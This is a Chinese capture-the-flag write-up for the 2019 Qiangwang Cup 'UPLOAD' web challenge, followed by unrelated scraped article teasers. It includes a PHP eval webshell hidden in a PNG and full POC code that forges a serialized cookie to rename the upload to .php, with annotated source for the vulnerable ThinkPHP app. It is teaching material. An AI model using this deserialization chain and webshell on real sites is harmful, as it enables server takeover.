CTF-Web习题:2019强网杯 UPLOAD

题目链接:2019强网杯 UPLOAD

解题思路

打开靶场如下图所示,是一个注册和登录界面
在这里插入图片描述
那就注册登录一下,发现是一个提交头像的页面:
在这里插入图片描述
试了一下只有能正确显示的png图片才能提交成功,同时F12拿到cookie,base64解码后能看到图片上传到的路径。
在这里插入图片描述
没发现什么有用的信息,试着扫扫目录,扫出来一个www.tar.gz文件,下载下来看一眼
(此处吐槽:用dirsearch.py扫了三次都没扫出来,用dirmap也没扫出来,最后查看dirsearch的默认字典准备把www.tar.gz加进去扫试试,结果里面本来就有,再扫就扫出来了,我不理解…)
在这里插入图片描述
那就下载下来看看,(这里下载下来的压缩文件在kali里解压不了,拿出来到360压缩却能成功解压,360真的很神奇)是ThinkPhp5框架编写的项目源码
在这里插入图片描述
该框架下核心代码一般都在application/web/controller目录下,审阅代码发现Index.phpRegister.php文件下有两个断点,应该是作者的Hint(提示),详情如下:

Index.php:
断点打在login_check方法中,且访问大部分页面都会调用该方法,该方法先从cookie中获取用户信息,并将该信息反序列化,随后到数据库中查找比对相关信息是否一致
在这里插入图片描述

Register.php:
断点打在改Register类的析构方法__destruct()中,该方法在对象被销毁时调用,该析构方法内的语句意思是:如果没有注册,则跳转到首页,这儿可能有点云里雾里,没关系,Register类的详情我们在文末详细分析。
在这里插入图片描述

此时已经有析构方法,反序列化,文件上传等线索,可以大概推测出本题想要考察反序列化与文件上传。那么接下来就去看看上传头像的业务逻辑,在application/web/controller.Profile.php中:

Profile.php:

首先可以看到上传头像的方法upload_img(),主要逻辑是:
先检查是否登录,没登陆则跳转首页;然后判断是否有文件,如果有文件,就将文件拓展名改为png;然后检查是否为正常可显示的图片,如果是,就将文件复制到目标路径下,并存储到数据库,否则报错。
在这里插入图片描述

再往下看,可以看到Profile类也有两个魔术方法:__get()__call(),分别编写了在调用不可调用的成员变量调用不可调用的方法时应该怎么做:

__get ($name):
当调用不可调用的成员变量(例如私有变量)或不存在的变量时,会从自身的except变量数组里查找返回

__call($name,$arguments):
当调用不可调用的方法(例如私有方法)或不存在的方法时,判断是否有name的属性,如果有,以name的值为方法名尝试调用该方法
在这里插入图片描述

以上所有的魔术方法都会在本题中发挥重要作用!!!!!!!!

至此,根据我们搜集到的信息,我们可以利用index.php里的login_check()方法内的反序列化漏洞,伪造一个cookie,反序列化出一个我们制造的对象,通过自定义对象的属性值,来进行后续操作。(大致思路)

这里我们的思路是:
1、构造一个图片马,注册一个新号上传上去,并记录下该文件的具体位置
2、构造一个对象(构造什么对象?我们后续详细操作步骤来探讨),利用反序列化与魔术方法将文件后缀修改为.php
3、利用蚁剑连接,获取flag

那么接下来就开始操作吧!

1、构造图片马并上传

我们直接保存百度的logo,然后用notepad++打开,在末尾嵌入<?php @eval($_POST["password"]);?>一句话木马,此处的"password"就是蚁剑的连接密码
在这里插入图片描述
上传之后我们通过查看cookie记住文件的存储位置:
eg:../upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png

注意: 此处的一句话木马如果上传上去连接提示返回值为空,可能存在以下问题:

  • POST没有大写
  • <?php @eval($_POST["password"]);?>要双引号,单引号可能导致解析失败
  • 一句话木马书写有误
  • 蚁剑编码器解码器都选择base64
2、构造对象,利用反序列化调用魔术方法修改文件后缀为php

我们要构造一个什么对象?要明白这个问题,我们要回到反序列化的源头index.php文件的login_check()方法(请大家自行查看源码,篇幅原因这里不再贴出),可以看到此方法在反序列化对象之后,程序没有任何地方调用过该对象的成员属性和成员方法(用phpstorm看),因此,唯一能发挥作用的只有之前提到过的__destruct()方法,在对象销毁时调用。
在本题中,只有Register类有该魔术方法,因此,我们要构造的就是Register类的对象:

class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$register = new Register();
$register->registed = false;

再来看该魔术方法的逻辑,想要通过判断,应有registed = false,然后它调用了成员变量checkerinedx()方法,该方法是Index.phpIndex类下的,发现如果正常调用,没有什么地方有漏洞。这个应该想到魔术方法__call()了,它在调用不可调用或者不存在的方法时被调用,该魔术方法在Profile类中,且该类并没有index()方法,因此,我们可以确定,变量checker的值,就是Profile类的对象。
为此我们还应该实例化一个Profile类:

class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
$profile = new Profile();
$register->checker = $profile;

承接上述逻辑,当调用profile对象的index()方法,然该方法不存在,则转而调用魔术方法并传入参数:__call("index")方法,此时,会检查profile对象中有没有index这个属性,显然是没有的,那么调用不存在的属性时,就会调用__get()方法,从except数组中查找以index为键查找对应的值A,并调用profile对象中以属性A的值为名称的方法!!也就是说,我们可以以此方式调用Profile对象中的任何函数!!!!!,查看源码发现,通过调用upload_img方法,可以将文件从filename_tmp复制到filename处,并删除filename_tmp文件,就可以实现文件名后缀修改为php!!!
因此,在profile对象属性构造上,可有如下:

$profile->except = ['index' => 'img'];
$profile->img = "upload_img";

现在可以调用upload_img()方法了,通过查看源码发现前两个if不给checker赋值,不上传文件,即可绕过,最后一个if需要ext不为空,通过修改filename_tmpfilename的值,即可实现文件名和后缀的修改,属性赋值如下:
注意:(这里的文件路径加了/public,是因为Profile类的构造函数会加public,而我们的反序列化不会调用构造函数,所以需要我们手动加上去)

$profile->ext = "png";//过if必须参数,=true也可以
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";

最后还要加上命名空间namespace,位置和源码的Register类一致app\web\controller,用来说明这个类来自哪里,不然人家靶场不知道具体该从哪里序列化这个Profile类。然后序列化register对象即可。

整理代码如下所示:

namespace app\web\controller;
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}
class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.png";
$profile->filename = "../public/upload/c7129430ace4c05bd5bcee0bd02b538b/0ee66fdd85690660cc9316918e6ccb78.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));

运行这段代码(POC),得到Cookie,利用Hackbar插件将cookie发送到靶机,然后出现如下页面

在这里插入图片描述
让我们访问.php文件看看修改成功没有,发现访问成功!
在这里插入图片描述

3、连接蚁剑,获取flag

在这里插入图片描述
url处输入我们图片马的链接,密码是一句话木马的参数名,连接成功~,然后在根目录下找到flag文件提交即可。

源码审计详解

1、Index.php
<?php
namespace app\web\controller;//定义命名空间,表示这个类属于app\web\controller
use think\Controller;//引入ThinkPHP5的Controller基类class Index extends Controller//Index类继承th5的Controller类
{public $profile;//会话中的用户信息public $profile_db;//数据库中的用户信息//index是默认的控制器方法,用来处理用户访问主页的请求public function index(){//检查是否登录,如果已登录则重定向到home方法if($this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//构建重定向的URL$this->redirect($curr_url,302);//执行重定向,并返回302状态码(临时重定向)exit();//终止脚本执行}return $this->fetch("index");//如果用户未登录,则返回index视图}//home方法用于处理用户访问主页后的逻辑public function home(){//如果未登录if(!$this->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index方法$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//如果用户没有上传图片if(!$this->check_upload_img()){$this->assign("username",$this->profile_db['username']);//调用tp5框架的assign方法,将username分配到视图上显示return $this->fetch("upload");//返回上传图片的视图}else{ //如果用户上传了图片$this->assign("img",$this->profile_db['img']);//将img分配到视图上显示$this->assign("username",$this->profile_db['username']);//将username分配到视图上显示return $this->fetch("home");//返回home视图}}//用于检查用户是否登录public function login_check(){$profile=cookie('user');//获取cookie中的用户信息//cookie中用户信息非空if(!empty($profile)){$this->profile=unserialize(base64_decode($profile));//解码反序列化用户信息$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();//从数据库中查询用户信息//如果数据库的用户信息与cookie中一致,则返回1,否则返回0if(array_diff($this->profile_db,$this->profile)==null){return 1;}else{return 0;}}}//检查用户是否上传了图片public function check_upload_img(){//如果cookie中用户信息非空,且,数据库用户信息非空if(!empty($this->profile) && !empty($this->profile_db)){//如果数据库中img字段为空,返回0,否则返回1if(empty($this->profile_db['img'])){return 0;}else{return 1;}}}//用于处理用户注销public function logout(){cookie("user",null);//设置cookie为null$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);//执行重定向,并返回302状态码exit();//终止程序执行}//魔术方法,当调用不可调用或不存在的属性时调用,返回一个空字符串。public function __get($name){return "";}}
2、Register.php
<?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;//构造方法,初始化register对象时调用public function __construct(){$this->checker=new Index(); //实例化一个Index对象赋值给checker}//处理用户的注册方法public function register(){//如果checker非空if ($this->checker) {//调用起login_check()方法检查用户书否登录,如果登录if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";//重定向到home视图$this->redirect($curr_url,302);//执行重定向,发送302状态码exit();//中断脚本执行}}//从POST请求中获取'username'、'email'和'password'进行输入校验//如果都不为空if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {//input是tp5的函数$email = input("post.email", "", "addslashes");//调用addslashes函数对mail中的特殊字符进行转义$password = input("post.password", "", "addslashes");$username = input("post.username", "", "addslashes");//如果邮箱检测合法if($this->check_email($email)) {//如果数据库内内没有相同用户名或邮箱的用户if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {$user_info = ["email" => $email, "password" => md5($password), "username" => $username];//构建userinfo数组//向数据库中新增用户,如果成功if (db("user")->insert($user_info)) {$this->registed = 1;//设置已注册标记$this->success('Registed successful!', url('../index'));//利用tp5的success方法跳转到成功页面} else {//新增用户失败则跳转到注册失败页面$this->error('Registed failed!', url('../index'));}} else {//如果数据库中存在同用户名或邮箱用户,提示用户已存在$this->error('Account already exists!', url('../index'));}}else{//如果邮箱验证错误,提示邮箱无效$this->error('Email illegal!', url('../index'));}} else {//如果post参数有误,提示有空值$this->error('Something empty!', url('../index'));}}//检查邮箱是否合法public function check_email($email){$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";//构建正则表达式preg_match($pattern, $email, $matches);//利用该函数进行匹配if(empty($matches)){//匹配失败返回0return 0;}else{//否则返回1return 1;}}//魔术方法,在对象销毁时调用public function __destruct(){如果已注册if(!$this->registed){//调用checker的index()方法返回主页$this->checker->index();}}
}
3、Profile.php
<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;//构造函数public function __construct(){$this->checker=new Index();//实例化一个Index对象给checker$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);//使用客户端的IP地址生产一个MD5值,作为上传目录的名称@chdir("../public/upload");//切换相对目录,如果没有该目录则创建//如果当前没有该上传目录,则新建一个if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);//切换到上传目录}//上传头像方法public function upload_img(){//检查checker对象是否存在if($this->checker){//如果存在,调用其login_check方法检查是否登录,如果未登录if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";//重定向到index视图$this->redirect($curr_url,302);exit();}}//如果上传文件非空if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];//获取文件在服务器上的临时文件路径$this->filename=md5($_FILES['upload_file']['name']).".png";//获取文件的原始名称,并进行md5编码$this->ext_check();//检查文件扩展名是否合法}//如果ext非空if($this->ext) {//如果文件时有效图像if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);//将文件复制到filename处@unlink($this->filename_tmp);//删除临时文件$this->img="../upload/$this->upload_menu/$this->filename";//编辑img的存储地址$this->update_img();//更新图片}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}//更新图片public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();//从数据库查询用户信息//如果用户没有头像,且当前图像存在if(empty($user_info['img']) && $this->img){//更新用户数据库中的头像信息if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();//更新cookie$this->success('Upload img successful!', url('../home'));//返回访问成功}else{$this->error('Upload file failed!', url('../index'));}}}//更细cookiepublic function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}//拓展名检查public function ext_check(){$ext_arr=explode(".",$this->filename);//yi.分割ffilename为数组$this->ext=end($ext_arr);//获取数组最后一个元素if($this->ext=="png"){//如果是png返回1,否则返回0return 1;}else{return 0;}}//魔术方法,访问不存在的变量或不可访问的变量时调用public function __get($name){return $this->except[$name];//从except数组中找}//魔术方法,当调用不可调用的方法或不存在的方法时调用public function __call($name, $arguments){//看看是否有该变量if($this->{$name}){//如果有,调用以该变量的值为名称的函数$this->{$this->{$name}}($arguments);}}}

碎片知识补充

1、文件下载

比如这题的www.tar.gz文件,可以通过浏览器直接访问下载,也可以通过linux命令下载:
wget [url] -o [要保存位的文件名]
curl -o [要保存位的文件名] [url]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/874294.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

树形背包问题

一些题目给定了树形结构&#xff0c;在这个树形结构中选取一定数量的点或边&#xff08;也可能是其他属性&#xff09;&#xff0c;使得某种与点权或者边权相关的花费最大或者最小。解决这类问题&#xff0c;一般要考虑使用树上背包。 树上背包&#xff0c;顾名思义&#xff0c…

Linux 基础开发工具 : Vim编辑器

Vim 是 Linux 和其他类 Unix 系统上广泛使用的文本编辑器之一。它基于更早的 vi 编辑器&#xff0c;但添加了许多增强功能和扩展。Vim 是“Vi IMproved”的缩写&#xff0c;意为“改进的 Vi”&#xff0c;我们常使用Vim编辑器编写c/c代码。 ps&#xff1a;该篇介绍均为最基础介…

Blender中保存透明图片

在Blender中保存透明图片&#xff0c;主要是通过在渲染设置中调整背景透明度&#xff0c;并选择合适的文件格式来保存图像。以下是一个详细的步骤指南&#xff1a; 一、设置渲染属性 打开Blender并加载你想要渲染的模型。在右侧的属性编辑器中&#xff0c;找到并点击“渲染属…

解决Visual studio内报错信息:MSB8036:找不到 Windows SDK 版本问题

问题描述&#xff1a; 找不到WindowsSDK版本&#xff0c;请安装所需版本的Windows SDK&#xff0c;或者在项目属性页中通过右键单击解决方案并选择“重定解决方案目标”来更改SDK版本。 首先&#xff0c;如果你尝试了以下两种方法&#xff1a; &#xff08;1&#xff09;重新…

【Qt】 FFmpeg+Qt windows 32位或者64位环境搭建

简介 目前Ffmpeg官网&#xff08;64位连接&#xff09;下载的均为64位编译的&#xff0c;这要求我们采用的Qt creator也采用64位编译器。但是仍存在部分用户采用32位编译器&#xff0c;所以这部分用户需下载32 Ffmpeg&#xff08;32位连接&#xff09;。 根据使用的编译器位数…

Linux下安装Redis(超简单)

1.下载 选着自己需要下载的版本后&#xff0c;右击选择复制链接&#xff0c;然后利用命令进行下载&#xff0c;进入Xshell控制台&#xff0c;输入wget将复制的链接粘帖上&#xff0c;这里我选择的是6.0.6版本。 命令如下&#xff1a; wget https://download.redis.io…

7款主流大模型实测:简单的数感测试全翻车

实测strawberry中有2个字母“r”&#xff1f;不会比大小的大模型也几乎数不对数&#xff0c;数理能力差到惊人&#xff01; 科技新知 原创 谁能想到&#xff0c;号称“超级大脑”的大模型&#xff0c;竟然在几道简单的数学题上败给了小学生。 近日&#xff0c;国内火热的音乐…

Vue.js 2 项目实战(三):综合案例-小黑记事本

前言 Vue.js 是一个用于构建用户界面的渐进式 JavaScript 框架。它的设计目标是通过采用易于上手的结构和强大的功能&#xff0c;使前端开发变得更加简便和高效。以下是 Vue.js 的一些关键特性和优点&#xff1a; 核心特性 声明式渲染 Vue.js 使用声明式语法来描述用户界面&a…

HR怎么看待PMP证书呢?

不是HR&#xff0c;但 HR 的招人标准也是根据市场跟岗位需求来的吧。据我了解&#xff0c;PMP 证书目前还是有市场的&#xff0c;大家可以根据自己的行业跟公司&#xff0c;去判断下 PMP 的含金量&#xff0c;看自己是否需要去考。一定要结合自己的需求分析&#xff0c;盲目跟风…

【QT】定时器事件 - QTimerEvent QTimer

qt 系统 - 定时器 定时器1. QTimerEvent2. QTimer3. 获取系统日期及时间 定时器 Qt 中在进行窗口程序的处理过程中&#xff0c;经常要周期性的执⾏某些操作&#xff0c;或者制作⼀些动画效果&#xff0c;使用定时器就可以实现。所谓定时器就是在间隔⼀定时间后&#xff0c;去执…

EXO项目解析:pynvml怎么实现监控的,包括什么参数

目录 pynvml怎么实现监控的,包括什么参数 pynvml实现监控的方式 pynvml包括的主要参数 GPU功耗的组成 举例说明 注意事项 EXO项目解析:https://github.com/exo-explore/exo?tab=readme-ov-file 这段代码是一个使用setuptools库编写的Python包安装脚本,主要用于定义和…

GIT命令学习 一

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 ☁️运维工程师的职责&#xff1a;监…

【Git】(基础篇六)—— 发现好项目

发现github上的好项目 在开源社区中&#xff0c;发现好的项目&#xff0c;不论是对于自己的学习&#xff0c;还是在前人的基础上继续改进&#xff0c;都十分重要&#xff0c;本文为你介绍如何在github上面找到好的项目&#xff08;gitee同理&#xff09; 关注活跃大牛 GitHu…

ARM架构(二)—— arm v7-a/v8/v9寄存器介绍

1、ARM v7-A寄存器 1.1 通用寄存器 V7 V8开始 FIQ个IRQ优先级一样&#xff0c; 通用寄存器&#xff1a;31个 1.2 程序状态寄存器 CPSR是程序状态毒存器&#xff0c;保存条件标志位&#xff0c;中断禁止位&#xff0c;当前处理器模式等控制和状态位。每种异常模式下还存在SPS…

实现接口幂等性的8种解决方案

古语云&#xff1a;“一而再&#xff0c;再而三&#xff0c;其效不二” 俗语讲&#xff1a;被虐千百遍&#xff0c;依然如初恋 数学符号&#xff1a;f(f(f(x))) f(x) 即无论操作执行一次还是多次&#xff0c;其效果始终如一&#xff0c;不会有差异。这就是幂等性。 文章导读 什…

FPGA-PLL IP核的使用

1.前言 IP核是使用FPGA进行快速开发的一大法宝&#xff0c;FPGA有几个常用的IP核&#xff0c;如今天要写的PLL&#xff0c;即锁相环&#xff0c;还有FIFO&#xff0c;ROM等。熟练使用这些IP核&#xff0c;在一一些大型的项目中会省很多的精力&#xff0c;今天就通过一个实例来…

55 、mysql的存储引擎、备份恢复以及日志备份、恢复

一、数据库的存储引擎&#xff1a; 1.1、存储引擎的概念 概念&#xff1a;存储引擎&#xff0c;就是一种数据库存储数据的机制&#xff0c;索引的机制&#xff0c;索引的技巧&#xff0c;锁定水平。 存储的方式和存储的格式。 存储引擎也属于mysql当中的组件&#xff0c;实…

Linux挂载磁盘目录

一、背景 由于安装oracle数据库&#xff0c;磁盘空间不足&#xff0c;已经加了存储&#xff0c;但是没有挂载&#xff0c;需要将/dev/sdb全部挂载到/oracle目录下 [rootdatabase-001 ~]# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 50G 0 disk …

HTTPServer改进思路2(mudou库核心思想融入)

mudou网络库思想理解 Reactor与多线程 服务器构建过程中&#xff0c;不仅仅使用一个Reactor&#xff0c;而是使用多个Reactor&#xff0c;每个Reactor执行自己专属的任务&#xff0c;从而提高响应效率。 首先Reactor是一种事件驱动处理模式&#xff0c;其主要通过IO多路复用…

Linux实用操作三

文章目录 Linux实用操作三网络传输ping命令介绍&#xff1a;示例&#xff1a; wget命令介绍&#xff1a;示例&#xff1a; curl命令介绍&#xff1a;示例&#xff1a; 端口介绍&#xff1a;端口的划分&#xff1a;查看端口占用&#xff1a; 进程管理进程介绍&#xff1a;查看进…